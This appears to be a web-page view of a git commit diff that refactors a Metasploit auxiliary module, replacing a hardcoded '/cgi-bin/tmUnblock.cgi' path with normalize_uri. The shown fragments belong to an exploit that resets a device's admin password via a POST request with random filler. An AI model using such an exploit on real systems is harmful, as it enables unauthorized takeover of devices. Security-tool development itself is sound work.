Use normalize_uri
parent
582372ec3e
commit
6ba26bf743
|
@ -64,8 +64,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
uri = '/cgi-bin/tmUnblock.cgi'
|
|
||||||
|
|
||||||
print_status("#{peer} - Resetting password for the admin user ...")
|
print_status("#{peer} - Resetting password for the admin user ...")
|
||||||
|
|
||||||
postdata = Rex::Text.rand_text_alpha(246) # Filler
|
postdata = Rex::Text.rand_text_alpha(246) # Filler
|
||||||
|
@ -86,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => uri,
|
'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'vars_post' => {
|
'vars_post' => {
|
||||||
'period' => '0',
|
'period' => '0',
|
||||||
|
|
Loading…
Reference in New Issue